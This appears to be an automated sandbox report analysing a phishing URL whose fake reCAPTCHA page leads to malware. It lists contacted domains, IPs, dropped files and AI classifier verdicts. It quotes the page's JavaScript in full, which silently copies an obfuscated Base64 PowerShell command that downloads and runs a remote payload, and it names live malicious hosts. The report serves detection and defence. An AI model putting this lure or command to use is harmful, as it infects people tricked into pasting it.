https://youngsweays.my/8	0%	Avira URL Cloud	safe
http://www.luratech.comECWCompWIFFFlashPixJPEG-XRJPEG-2000PDFWebPrgbPPM/PGM/PBMSoftimageRGB	0%	Avira URL Cloud	safe
https://youngsweays.my/api2	0%	Avira URL Cloud	safe
http://www.cadsofttools.comCS_DWG.dllHPGL	0%	Avira URL Cloud	safe
https://ytfjghloadv1.b-cdn.net/https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.htmlytfjghloadv1.	0%	Avira URL Cloud	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696582852750.12791&key=1696582852400500	0%	Avira URL Cloud	safe
http://www.cadsofttools.com	0%	Avira URL Cloud	safe
https://secure.shareit.com/shareit/checkout.html?PRODUCT	0%	Avira URL Cloud	safe
http://www.imageshack.us/upload_api.php	0%	Avira URL Cloud	safe
https://youngsweays.my/apisl	0%	Avira URL Cloud	safe
http://www.kolor.comFiGHTiNG	0%	Avira URL Cloud	safe
https://youngsweays.my/	0%	Avira URL Cloud	safe
https://ytfjghloadv1.b-cdn.net/proCES	0%	Avira URL Cloud	safe
http://www.ghostscript.com.	0%	Avira URL Cloud	safe
http://newsgroup.xnview.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
youngsweays.my	104.21.80.1	true	true	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	high
asgbucket.oss-ap-southeast-3.aliyuncs.com	47.254.218.16	true	false	unknown
www.google.com	216.58.208.228	true	false	high
ytfjghloadv1.b-cdn.net	89.35.237.170	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dare-curbys.biz	false		high
impend-differ.biz	false		high
https://ytfjghloadv1.b-cdn.net/favicon.ico	false	Avira URL Cloud: safe	unknown
dwell-exclaim.biz	false		high
https://asgbucket.oss-ap-southeast-3.aliyuncs.com/class/initiate/JidW3mE7.txt	false	Avira URL Cloud: malware	unknown
youngsweays.my	true	Avira URL Cloud: safe	unknown
zinc-sneark.biz	false		high
https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html	false		unknown
formy-spill.biz	false		high
https://youngsweays.my/api	true	Avira URL Cloud: safe	unknown
se-blurry.biz	false		high
covery-mover.biz	false		high
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css	false		high
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/webfonts/fa-brands-400.woff2	false		high
print-vexer.biz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.kolor.comGen0cide	DrWindows.exe.12.dr	false	Avira URL Cloud: safe	unknown
http://www.xnview.com/xnview_update.txt	DrWindows.exe.12.dr	false		high
https://duckduckgo.com/ac/?q=	DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	false		high
https://youngsweays.my/apiw	DrWindows.exe, 00000017.00000002.2160226555.0000000000802000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.xnview.com/fr/xnviewmp/#downloads	DrWindows.exe.12.dr	false		high
https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.htmlVerify	DrWindows.exe, 00000017.00000003.1958693128.0000000003832000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.kolor.com	DrWindows.exe.12.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	DrWindows.exe, 00000017.00000003.2067420138.000000000086B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.xnview.org	DrWindows.exe.12.dr	false	Avira URL Cloud: safe	unknown
https://fontawesome.com/license/free	chromecache_129.1.dr	false		high
https://fontawesome.com	chromecache_129.1.dr	false		high
http://newsgroup.xnview.com/viewforum.php?f=60	DrWindows.exe.12.dr	false	Avira URL Cloud: safe	unknown
http://www.xnview.com/Producer	DrWindows.exe, 00000017.00000003.1867935920.0000000002DE8000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe.12.dr	false		high
https://youngsweays.my/K	DrWindows.exe, 00000017.00000002.2163404393.0000000000879000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.xnview.com/fr/xnviewmp/#downloadshttps://www.xnview.com/de/xnviewmp/#downloadshttps://ww	DrWindows.exe.12.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_31b94b0303af81c500b60b222c3804f084d41b52e86e0f54	DrWindows.exe, 00000017.00000003.2070536095.0000000000860000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.xnview.com	DrWindows.exe.12.dr	false		high
https://youngsweays.my/apiI	DrWindows.exe, 00000017.00000003.2159011672.0000000000859000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000002.2162952304.0000000000859000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	DrWindows.exe, 00000017.00000003.2045231893.000000000394F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://youngsweays.my/8	DrWindows.exe, 00000017.00000003.2107086532.0000000000861000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twitter.com/xnview	DrWindows.exe.12.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696582852750.12791&key=1696582852400500002.1&cta	DrWindows.exe, 00000017.00000003.2070536095.0000000000860000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.luratech.com	DrWindows.exe.12.dr	false	Avira URL Cloud: safe	unknown
http://tools.wmflabs.org/geohack/geohack.php?language=%s&params=%lf_N_%lf_E_	DrWindows.exe.12.dr	false		high
http://www.luratech.comECWCompWIFFFlashPixJPEG-XRJPEG-2000PDFWebPrgbPPM/PGM/PBMSoftimageRGB	DrWindows.exe.12.dr	false	Avira URL Cloud: safe	unknown
https://www.xnview.com/update.php?app=0&nversion=&os=0&lang=&version=&t=&key=515ba1dce7ddd76c03dfd5b	DrWindows.exe.12.dr	false		high
http://www.cadsofttools.comCS_DWG.dllHPGL	DrWindows.exe.12.dr	false	Avira URL Cloud: safe	unknown
https://ytfjghloadv1.b-cdn.net/https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.htmlytfjghloadv1.	DrWindows.exe, 00000017.00000003.1958693128.0000000003850000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1957282164.00000000038AF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://youngsweays.my/api2	DrWindows.exe, 00000017.00000003.2146874548.0000000000874000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000002.2163345868.0000000000874000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.2105810590.0000000000874000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microP	DrWindows.exe, 00000017.00000003.2159011672.000000000084B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.cadsofttools.com	DrWindows.exe.12.dr	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696582852750.12791&key=1696582852400500	DrWindows.exe, 00000017.00000003.2070536095.0000000000860000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.imageshack.us/upload_api.php	DrWindows.exe.12.dr	false	Avira URL Cloud: safe	unknown
https://secure.shareit.com/shareit/checkout.html?PRODUCT	DrWindows.exe.12.dr	false	Avira URL Cloud: safe	unknown
https://youngsweays.my/apisl	DrWindows.exe, 00000017.00000003.2070536095.0000000000855000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.2080143583.000000000085C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.kolor.comFiGHTiNG	DrWindows.exe.12.dr	false	Avira URL Cloud: safe	unknown
http://www.xnview.com/xnview_update.txtCannot	DrWindows.exe.12.dr	false		high
https://youngsweays.my/	DrWindows.exe, 00000017.00000003.2105810590.0000000000874000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DrWindows.exe, 00000017.00000003.2045231893.000000000394F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	DrWindows.exe, 00000017.00000003.2070536095.0000000000860000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ytfjghloadv1.b-cdn.net/proCES	DrWindows.exe, 00000017.00000003.1957282164.00000000038B6000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	false		high
http://newsgroup.xnview.com	DrWindows.exe.12.dr	false	Avira URL Cloud: safe	unknown
https://api.imgur.com/3/upload.xml	DrWindows.exe.12.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	DrWindows.exe, 00000017.00000003.2070536095.0000000000860000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.xnview.com/update.php?app=0	DrWindows.exe.12.dr	false		high
https://www.xnview.com/de/xnviewmp/#downloads	DrWindows.exe.12.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CLY1pDY4pbW4CbWfpbY7ReNxR3UIG8zInwYIFIVs9eYi	DrWindows.exe, 00000017.00000003.2070536095.0000000000860000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.2067420138.000000000086B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.xnview.com/en/xnviewmp/#downloads	DrWindows.exe.12.dr	false		high
http://www.ghostscript.com.	DrWindows.exe.12.dr	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.xnview.com/wiki/index.php?title=XnView_%28windows%29_User_Guide	DrWindows.exe.12.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.80.1	youngsweays.my	United States	13335	CLOUDFLARENETUS	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
216.58.208.228	www.google.com	United States	15169	GOOGLEUS	false
89.35.237.170	ytfjghloadv1.b-cdn.net	Romania	34304	TEENTELECOMRO	true
47.254.218.16	asgbucket.oss-ap-southeast-3.aliyuncs.com	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false

Private

IP
192.168.2.17
192.168.2.25

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572316
Start date and time:	2024-12-10 12:47:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.win@20/27@9/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 8 Number of non-executed functions: 108

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.19.238, 173.194.222.84, 172.217.17.46, 142.250.181.99, 192.229.221.95, 172.217.17.35, 20.12.23.50, 204.79.197.200, 204.79.197.222, 2.16.158.88, 23.218.208.109, 40.126.53.12, 13.107.5.88, 2.16.158.48
Excluded domains from analysis (whitelisted): fp.msedge.net, www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, login.live.com, r.bing.com, evoke-windowsservices-tas.msedge.net, update.googleapis.com, clients.l.google.com, www.gstatic.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html

Simulations

Behavior and APIs

Time	Type	Description
06:48:30	API Interceptor	80x Sleep call for process: powershell.exe modified
06:49:36	API Interceptor	8x Sleep call for process: DrWindows.exe modified

LLM Input / Output

Input	Output
URL: https://ytfjghloadv1.b-cdn.net Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": true, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://ytfjghloadv1.b-cdn.net
URL: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv00... Model: Joe Sandbox AI	{ "risk_score": 10, "reasoning": "Extremely high-risk code that contains a PowerShell command encoded in Base64 which downloads and executes content from an untrusted domain (aliyuncs.com). The script attempts to copy malicious code to clipboard and mask its behavior behind a fake reCAPTCHA popup. Shows clear malicious intent with code execution capabilities and obfuscation techniques." }
function verify() { const textToCopy = `powershell -w h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYXNnYnVja2V0Lm9zcy1hcC1zb3V0aGVhc3QtMy5hbGl5dW5jcy5jb20vY2xhc3MvaW5pdGlhdGUvSmlkVzNtRTcudHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) \| iex"`; const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.appendChild(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); const recaptchaPopup = document.getElementById("recaptchaPopup"); const overlay = document.getElementById("overlay"); recaptchaPopup.classList.add("active"); overlay.classList.add("active"); } const verifyButton = document.getElementById('verifyButton'); verifyButton.addEventListener('click', verify);
URL: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please verify that you are a human to continue.", "prominent_button_name": "I'm not a robot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verify You Are Human", "prominent_button_name": "I'm not a robot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html Model: Joe Sandbox AI	```json{ "legit_domain": "unknown", "classification": "unknown", "reasons": [ "The URL 'ytfjghloadv1.b-cdn.net' does not clearly indicate any well-known or known brand association.", "The domain 'b-cdn.net' is a content delivery network (CDN) domain, which is commonly used by various services and does not directly associate with a specific brand.", "The subdomain 'ytfjghloadv1' appears random and does not provide any recognizable brand information.", "The brand provided is 'u', which is not a recognizable brand name and does not help in identifying a legitimate domain.", "The URL structure and lack of recognizable brand association suggest a higher risk of phishing." ], "riskscore": 8}
URL: ytfjghloadv1.b-cdn.net Brands: u Input Fields: unknown
URL: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html Model: Joe Sandbox AI	```json{ "legit_domain": "unknown", "classification": "unknown", "reasons": [ "The URL 'ytfjghloadv1.b-cdn.net' does not clearly indicate any well-known or known brand.", "The domain 'b-cdn.net' is a content delivery network (CDN) domain, which is often used by various services and does not directly associate with a specific brand.", "The subdomain 'ytfjghloadv1' appears random and does not provide any recognizable brand information.", "The brand provided is 'u', which is not sufficient to identify any known or well-known brand.", "There are no recognizable brand associations or legitimate domain matches based on the provided information." ], "riskscore": 7}
URL: ytfjghloadv1.b-cdn.net Brands: u Input Fields: unknown

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Reputation:	low
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	19644
Entropy (8bit):	5.512558088220423
Encrypted:	false
SSDEEP:	384:BDkjrTMMuB42GJpvLU66X5qa7vQdzA8V5a43JqxU3P2lTNB8xbebM8ZCeOD:VWrQMWOZUrX5qa0dz/s23LxbebHM
MD5:	5DBFD410E49FACC2590C6B7FC58650B0
SHA1:	12D8D3E201A6957D5A2901F4FE441ED874AEAD5F
SHA-256:	966B78BBD536987CFF7137E6ACF6726A31487376122F0635F11821A6F4C5A066
SHA-512:	B3BD16B13DB67059439FCE27B8F2DA4A282FF2BA0212EB7F098E203311DACBC0F1E63ECC0928EB2D504CE5F635BB3F959EFA5ED02CCF00BD6BE1F8BFC7285190
Malicious:	false
Reputation:	low
Preview:	@...e..............."................................@..........H...............o..b~.D.poM...C..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.............System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.4.................%...K... ...........System.Xml..@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.`.....%.Microsoft.PowerShell.Commands.Utility...D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dawn2yfd.coz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eomvs1lx.olj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gk32vbw3.tka.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_plyfhker.215.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7236057252202017
Encrypted:	false
SSDEEP:	96:3E4PadjC911S2qkvhkvCCtTSJwrLk6HJwrLklHP:3E4SdgvXGKwrPwrU
MD5:	43791AF4A4484AC1E509CCFE8EC48E24
SHA1:	38EDE4909309078E7DC46FAD077310E4285559BC
SHA-256:	D1EDE4F2F261648A7EE7930CA56560F84C3019EF128186F9BC235D6BAE71AAA4
SHA-512:	C33D80C85EE3528FDD36DD71F331DB9500C1A29E206A7883B138F5932F2507279312236D7F7C6ED80AA9C499F3B82D21392C2E681CF8B4FA4F9C201C388F49B0
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. ......9...!'bm.J..z.:{.............................:..DG..Yr?.D..U..k0.&...&......&..9.....U^.J...Nkm.J......t...CFSF..1.....FWtM..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......FWtM.Y.].....Y.....................?@.A.p.p.D.a.t.a...B.V.1......Y.^..Roaming.@......FWtM.Y.^.....Y........................R.o.a.m.i.n.g.....\.1......Y.]..MICROS~1..D......FWtM.Y.^.....Y.....................\|3.M.i.c.r.o.s.o.f.t.....V.1.....GX.v..Windows.@......FWtM.Y.].....Z.......................W.i.n.d.o.w.s.......1.....FWvM..STARTM~1..n......FWtM.Y.].....Z..............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......Y.^..Programs..j......FWtM.Y.^.....Z..............@.....l.>.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......FWtM.Y.^.....Z....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......FWtM.Y.^....PZ..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P0EG23PHVTKHFLJBDL2S.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7236057252202017
Encrypted:	false
SSDEEP:	96:3E4PadjC911S2qkvhkvCCtTSJwrLk6HJwrLklHP:3E4SdgvXGKwrPwrU
MD5:	43791AF4A4484AC1E509CCFE8EC48E24
SHA1:	38EDE4909309078E7DC46FAD077310E4285559BC
SHA-256:	D1EDE4F2F261648A7EE7930CA56560F84C3019EF128186F9BC235D6BAE71AAA4
